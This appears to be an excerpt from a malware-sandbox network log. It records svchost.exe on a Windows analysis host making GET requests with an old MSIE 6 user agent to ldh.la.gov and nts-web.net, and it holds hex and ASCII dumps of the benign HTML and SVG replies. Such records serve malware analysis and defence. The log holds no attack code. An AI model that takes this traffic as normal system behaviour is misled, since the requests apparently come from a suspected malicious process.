2023-07-27 19:54:39 UTC	8261	IN	Data Raw: 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 34 33 30 2e 33 2c 39 34 61 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 33 33 2e 39 33 2c 38 36 2e 32 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 3e 3c 2f 70 61 74 68 3e 3c Data Ascii: 34,2.34,0,0,1,430.3,94a2.24,2.24,0,0,1,.48-2.7,2.09,2.09,0,0,1,2.7,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M433.93,86.26a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.7,0,2,2,0,0,1,.15,2.68"></path><
2023-07-27 19:54:39 UTC	8277	IN	Data Raw: 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 36 32 2e 32 35 2c 31 34 33 2e 37 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c Data Ascii: ,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.68"></path><path class="cls-9" d="M462.25,143.71a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,
2023-07-27 19:54:39 UTC	8293	IN	Data Raw: 73 2d 39 22 20 64 3d 22 4d 34 37 38 2e 30 35 2c 32 36 2e 33 36 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 37 2e 38 34 2c 31 39 2e 38 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e Data Ascii: s-9" d="M478.05,26.36a1.6,1.6,0,0,1-.72,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M477.84,19.88a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.
2023-07-27 19:54:39 UTC	8309	IN	Data Raw: 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 30 36 2e 33 37 2c 38 33 2e 38 31 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 30 36 2e 31 35 2c 37 37 2e 33 33 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 Data Ascii: .67"></path><path class="cls-9" d="M506.37,83.81a1.6,1.6,0,0,1-.73,2.09,2.36,2.36,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M506.15,77.33a1.6,1.6,0,0,1-.73,2.09,2.36,2.36,0,0,1-3.12-.88
2023-07-27 19:54:39 UTC	8325	IN	Data Raw: 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 34 2e 36 39 2c 31 34 31 2e 32 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 34 2e 34 37 2c 31 33 34 2e 37 38 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 Data Ascii: 71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M534.69,141.26a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M534.47,134.78a1.62,1.62,0,0,1-.73,2.0
2023-07-27 19:54:39 UTC	8341	IN	Data Raw: 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 35 30 2e 32 38 2c 31 37 2e 34 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 35 30 2e 30 36 2c 31 31 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 31 Data Ascii: 2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M550.28,17.43a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M550.06,11a1.62,1.62,0,0,1
2023-07-27 19:54:39 UTC	8357	IN	Data Raw: 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 63 61 73 65 2f 77 6f 72 6b 73 2f 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 68 74 6d 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 70 2d 70 65 72 66 6f 72 6d 61 6e 63 65 2d 69 6e 6e 65 72 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2e 2f 69 6d 61 67 65 73 2f 74 6f 70 2f 70 65 72 66 6f 72 6d 61 6e 63 65 2d 69 6d 61 67 65 36 2e 70 6e 67 22 20 61 6c 74 3d 22 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 6f 70 2d 70 65 72 66 6f 72 6d 61 6e 63 65 2d 63 6f 6e 74 65 6e 74 22 3e e9 9b 86 e5 90 88 e4 bd 8f e5 ae 85 3c 62 72 3e e6 b6 88 e9 98 b2 e8 a8 ad e5 82 99 e7 82 b9 Data Ascii: 4"> <a href="case/works/maintenance.html"> <div class="top-performance-inner"><img src="./images/top/performance-image6.png" alt=""> <p class="top-performance-content"><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	21297	75.2.95.235	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:35 UTC	5827	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: ldh.la.gov
2023-07-27 19:54:35 UTC	5827	IN	HTTP/1.1 406 Not Acceptable Date: Thu, 27 Jul 2023 19:54:35 GMT Content-Type: text/html Content-Length: 1346 Connection: close Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET
2023-07-27 19:54:35 UTC	5828	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 36 20 2d 20 43 6c 69 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>406 - Cli

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	50130	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:36 UTC	77	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net
2023-07-27 19:53:36 UTC	82	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 27 Jul 2023 19:53:36 GMT Content-Type: text/html Content-Length: 2599149 Connection: close Last-Modified: Tue, 08 Nov 2022 00:53:41 GMT ETag: "27a8ed-5eceaf89b8f40" Accept-Ranges: bytes
2023-07-27 19:53:36 UTC	83	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 20 77 65 62 73 69 74 65 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 77 65 62 73 69 74 65 23 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: <!DOCTYPE html><html lang="ja"> <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# website: http://ogp.me/ns/website#"> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="wi
2023-07-27 19:53:36 UTC	98	IN	Data Raw: 77 69 64 74 68 3a 31 2e 30 34 70 78 3b 7d 2e 63 6c 73 2d 31 36 31 2c 2e 63 6c 73 2d 31 36 32 2c 2e 63 6c 73 2d 31 36 33 7b 66 69 6c 6c 3a 23 39 32 64 31 64 37 3b 7d 2e 63 6c 73 2d 31 36 31 2c 2e 63 6c 73 2d 31 36 35 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 39 37 70 78 3b 7d 2e 63 6c 73 2d 31 36 32 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 31 35 70 78 3b 7d 2e 63 6c 73 2d 31 36 33 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 32 35 70 78 3b 7d 2e 63 6c 73 2d 31 36 34 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 35 34 70 78 3b 7d 2e 63 6c 73 2d 31 36 35 7b 66 69 6c 6c 3a 23 65 65 65 39 34 32 3b 7d 2e 63 6c 73 2d 31 36 36 7b 66 69 6c 6c 3a 23 65 34 38 32 37 65 3b 7d 2e 63 6c 73 2d 31 36 37 7b 66 69 6c 6c 3a 23 38 36 63 64 64 34 3b 7d 2e 63 Data Ascii: width:1.04px;}.cls-161,.cls-162,.cls-163{fill:#92d1d7;}.cls-161,.cls-165{stroke-width:0.97px;}.cls-162{stroke-width:1.15px;}.cls-163{stroke-width:1.25px;}.cls-164{stroke-width:1.54px;}.cls-165{fill:#eee942;}.cls-166{fill:#e4827e;}.cls-167{fill:#86cdd4;}.c
2023-07-27 19:53:36 UTC	148	IN	Data Raw: 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 36 39 32 2e 38 33 2c 31 39 35 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 36 39 32 2e 36 2c 31 38 38 2e 31 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 Data Ascii: 1,.15,2.86"/><path class="cls-4" d="M692.83,195a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M692.6,188.1a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94
2023-07-27 19:53:36 UTC	164	IN	Data Raw: 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 32 33 2e 33 35 2c 32 36 33 2e 34 31 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2d 2e 37 37 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 32 33 2e 31 32 2c 32 35 36 2e 34 38 61 31 Data Ascii: 2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M723.35,263.41a1.71,1.71,0,0,1-.77,2.23,2.51,2.51,0,0,1-3.34-.94,2.39,2.39,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M723.12,256.48a1
2023-07-27 19:53:36 UTC	180	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e Data Ascii: ,0,0,1,.51-2.89,2.
2023-07-27 19:53:37 UTC	230	IN	Data Raw: 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 35 33 2e 38 38 2c 33 33 31 2e 37 39 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 35 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 35 33 2e 36 34 2c 33 32 34 2e 38 36 61 31 2e 37 31 2c 31 2e 37 31 Data Ascii: 24,2.24,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class="cls-4" d="M753.88,331.79a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.95,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M753.64,324.86a1.71,1.71
2023-07-27 19:53:37 UTC	246	IN	Data Raw: 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 37 30 2e 37 39 2c 32 30 36 2e 32 37 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 37 30 2e 35 35 2c Data Ascii: ,1,.51-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class="cls-4" d="M770.79,206.27a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"/><path class="cls-4" d="M770.55,
2023-07-27 19:53:37 UTC	262	IN	Data Raw: 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 31 2e 33 31 2c 32 37 34 2e 36 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 39 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: 34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M801.31,274.66a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.41,2.41,0,0,1,.52-2.89,2.24,2.24,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class
2023-07-27 19:53:37 UTC	278	IN	Data Raw: 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 31 2e 38 34 2c 33 34 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 2f 3e 3c 70 Data Ascii: 1,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M831.84,343a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"/><p
2023-07-27 19:53:37 UTC	294	IN	Data Raw: 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 35 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 38 2e 37 35 2c 32 31 37 2e 35 32 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c Data Ascii: 73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.95,2.41,2.41,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M848.75,217.52a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,
